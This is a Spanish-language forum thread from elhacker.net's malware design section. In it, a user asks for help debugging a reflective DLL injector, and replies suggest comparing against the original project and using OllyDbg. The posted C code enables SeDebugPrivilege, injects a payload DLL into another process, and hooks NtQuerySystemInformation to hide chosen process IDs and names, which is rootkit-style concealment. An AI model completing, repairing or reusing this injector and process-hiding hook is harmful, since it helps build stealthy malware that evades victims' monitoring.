elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Al inyectar mi .dll devuelve error 87.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Al inyectar mi .dll devuelve error 87.  (Leído 3,194 veces)
Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Al inyectar mi .dll devuelve error 87.
« en: 20 Febrero 2017, 16:30 pm »

Hola estoy intentando inyectar mi .dll, el problema reside cuando hago la inyección loadlibrary no carga mi dll. Esta sería la función que invoco para hacer mi inyección:
Esta sería la función que invoco para hacer mi inyección:
Código:
BOOL InjectorFunc(DWORD dwProcessId, BOOL isTarget64Bit)
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
TOKEN_PRIVILEGES priv = { 0 };

do
{


dwLength = isTarget64Bit ? x64PayloadSize : x86PayloadSize;
if (dwLength == INVALID_FILE_SIZE || dwLength == 0)
BREAK_WITH_ERROR("Failed to get the DLL file size");
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
if (!lpBuffer)
BREAK_WITH_ERROR("Failed to get the DLL file size");


if(0!=memcpy_s(lpBuffer, dwLength, isTarget64Bit ? x64PayloadByteArr : x86PayloadByteArr, isTarget64Bit ? x64PayloadSize : x86PayloadSize))
BREAK_WITH_ERROR("Failed to copy buffer!");
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL);

CloseHandle(hToken);
}

hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
if (!hProcess)
BREAK_WITH_ERROR("Failed to open the target process");

hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength,&argsToDLL);

if (!hModule)
BREAK_WITH_ERROR("Failed to inject the DLL");
TCHAR cpDllFile[DLL_NAME_LENGTH];
wcscpy_s(cpDllFile, DLL_NAME_LENGTH, isTarget64Bit ? x64PayloadName: x86PayloadName);
printf("[+] Injected the '%ws' DLL into process %d.\n", cpDllFile, dwProcessId);

WaitForSingleObject(hModule, -1);

} while (0);

if (lpBuffer)
HeapFree(GetProcessHeap(), 0, lpBuffer);

if (hProcess)
CloseHandle(hProcess);

return TRUE;
}

Y me hace break como cito en el código y me devuelve error 87.
Citar
Failed to inject the DLL. Error=87
« Última modificación: 20 Febrero 2017, 17:08 pm por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
BloodSharp


Desconectado Desconectado

Mensajes: 804


El Messi-Vegeta :D


Ver Perfil
Re: Al inyectar mi .dll devuelve error 87.
« Respuesta #1 en: 20 Febrero 2017, 17:43 pm »

Y me hace break como cito en el código y me devuelve error 87.

Cita de: MSDN
ERROR_INVALID_PARAMETER 87 (0x57) The parameter is incorrect.

Estás usando algún parámetro de API mal o hay algo que tengas instalado/abierto que pueda no permitirte inyectar correctamente...
De todas formas ¿probaste el código original sin modificarlo?

https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/Inject.c


B#
En línea



Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Re: Al inyectar mi .dll devuelve error 87.
« Respuesta #2 en: 20 Febrero 2017, 19:10 pm »

con el ejemplo original funciona perfecto el problema es que estoy una dll propia y el ejemplo que puse le pasa una serie de argumentos a mi dll para que haga determinadas cosas. el problema esque estaba intentando en un ejemplo en concreto. En el caso que estaba intentando era un dll que lo que me hace es cargarme un payload pero no entiendo porque me devolvía error al cargarla trate de cambiarle el injector para que se pareciera más al del autor pero supongo que si no cargo correctamente mi dll no funciona ya que aunque lo cambie me devolvio otro error.

mi dll será:
Código:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include "Payload.h"

#include "../Common/ArgumentsPassing.h"



BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
pArgStruct args = (pArgStruct)lpReserved;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
if (!isUp)
{
#ifdef DEBUG_MODE
PrintToFile("Injected!");
#endif // DEBUG
isUp = true;
InitializeDLL(args);
}
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
isUp = false;
UnhookDLL();
break;
}
return TRUE;
}

la funcion initializedll es la que me inicia la dll con sus argumentos:
Código:
void InitializeDLL(pArgStruct args)
{
NtHookEngineInit();
hMutex = CreateMutex(0, TRUE, NULL);
if (args == NULL)
{
TCHAR pIDsbuff[MAX_LINE], procNameBuff[MAX_LINE];
FILE *fp;
fopen_s(&fp, INFO_TRANSFER_FILE, "r");
fgetws(pIDsbuff, MAX_LINE, fp); //first line - list of pIDs to hide
fgetws(procNameBuff, MAX_LINE, fp); //second line - list of process names to hide
pIDsbuff[wcslen(pIDsbuff) - 1] = '\0'; //delete \n
procNameBuff[wcslen(procNameBuff) - 1] = '\0';
fclose(fp);
PIDsNum = buildPIDsList(pIDsbuff, FALSE, &hiddenPIDsList);
procNameNum = buildProcNameList(procNameBuff, FALSE, &hiddenProcessNames);
}
else
{
procNameNum = buildProcNameList(args->procNames, FALSE, &hiddenProcessNames);
PIDsNum = args->pIDsNum;
int hiddenPIDsListSize = sizeof(int)*PIDsNum;
hiddenPIDsList = (int *)malloc(hiddenPIDsListSize);
memcpy_s(hiddenPIDsList, hiddenPIDsListSize, args->pIDs, sizeof(int)*args->pIDsNum);
#ifdef DEBUG_MODE
PrintToFile("Line:");
for (int i = 0; i < procNameNum; i++)
PrintToFile(hiddenProcessNames[i]);
PrintToFile("PIDs:");
for (int i = 0; i < args->pIDsNum; i++)
{
char intbuf[10];
_itoa_s(hiddenPIDsList[i], intbuf, 10, 10);
PrintToFile(intbuf);
}
#endif // DEBUG_MODE
}
OrigAddress = (PNtQueryFunc)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
BOOL hookres = HookFunction((ULONG_PTR)OrigAddress, (ULONG_PTR)&HookedNtQuerySystemInformation);
#ifdef DEBUG_MODE
if (!hookres)
PrintToFile("Hook Failed!");
#endif
RealNTQueryFunc = (PNtQueryFunc)GetOriginalFunction((ULONG_PTR)HookedNtQuerySystemInformation);
ReleaseMutex(hMutex);
}

En resumidas cuentas el ejemplo del hello world funciona de rechupete pero en el ejemplo que intento me da Failed to inject the DLL y dependiendo de los cambios que haga en el inyector varía el error, osea primero me daba error 87, si actualizo el inyector
al del autor stephenfewer me devuelve error 32 por lo que supongo que habrá algo en el código que hace que no se cargue correctamente mi dll.
« Última modificación: 20 Febrero 2017, 19:14 pm por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: Al inyectar mi .dll devuelve error 87.
« Respuesta #3 en: 21 Febrero 2017, 20:36 pm »

Depura tu programa con OllyDbg para ver donde estalla.

Saludos.
En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
GetActiveWindow m devuelve 0
Programación Visual Basic
SheKeL_C$ 1 1,431 Último mensaje 12 Octubre 2006, 00:43 am
por NYlOn
acpi -t no me devuelve nada
GNU/Linux
uhuru 5 3,024 Último mensaje 20 Julio 2010, 17:47 pm
por uhuru
this.id No devuelve nada...
Desarrollo Web
sReOn_1R 2 3,342 Último mensaje 9 Septiembre 2010, 14:16 pm
por sReOn_1R
Error al inyectar paquetes en Ubuntu 10.10
Wireless en Linux
virtual31 1 2,487 Último mensaje 5 Septiembre 2011, 12:20 pm
por -- KiLiaN --
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines